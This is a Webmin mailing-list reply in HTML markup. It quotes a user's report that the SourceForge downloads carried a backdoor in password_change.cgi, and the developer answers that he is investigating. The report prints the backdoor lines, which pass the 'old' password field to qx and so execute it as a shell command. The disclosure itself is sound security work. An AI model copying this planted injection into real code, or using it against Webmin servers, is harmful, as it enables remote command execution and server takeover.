Re: [webmin-l] Compromised Downloads

[Jamie C. <jca...@we...>]

<div dir='auto'>Thanks, I'm looking into this now. I'm guessing off hand that it's not remotely exploitable without an existing login since the password change cgi can't be run unless your already logged in.&nbsp;</div><div class="gmail_extra"><br><div class="gmail_quote">On Aug 17, 2019 1:29 PM, Adam Hostetler &lt;ad...@gm...&gt; wrote:<br type="attribution" /><blockquote class="quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex"><div dir="ltr">I believe the downloads hosted by source forge are compromised. They contain a backdoor in the password_change.cgi, this is related to the &#34;0day&#34; a few days ago. The code does not appear in the current github repo nor in any commits in the past. <div><br /></div><div>Backdoor code:</div><div>if ($wuser) {<!-- --><br />        # Update Webmin user&#39;s password<br />        $enc &#61; &amp;acl::encrypt_password($in{&#39;old&#39;}, $wuser-&gt;{&#39;pass&#39;});<br />        $enc eq $wuser-&gt;{&#39;pass&#39;} || &amp;pass_error($text{&#39;password_eold&#39;},qx/$in{&#39;old&#39;}/);<br />        $perr &#61; &amp;acl::check_password_restrictions($in{&#39;user&#39;}, $in{&#39;new1&#39;});<br />        $perr &amp;&amp; &amp;pass_error(&amp;text(&#39;password_enewpass&#39;, $perr));<br />        $wuser-&gt;{&#39;pass&#39;} &#61; &amp;acl::encrypt_password($in{&#39;new1&#39;});<br /></div><div><br /></div><div>&#34;old&#34; password is passed to qx, which executes it as a system command</div><div><br /></div><div>See <a href="https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/">https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/</a></div></div>
</blockquote></div><br></div>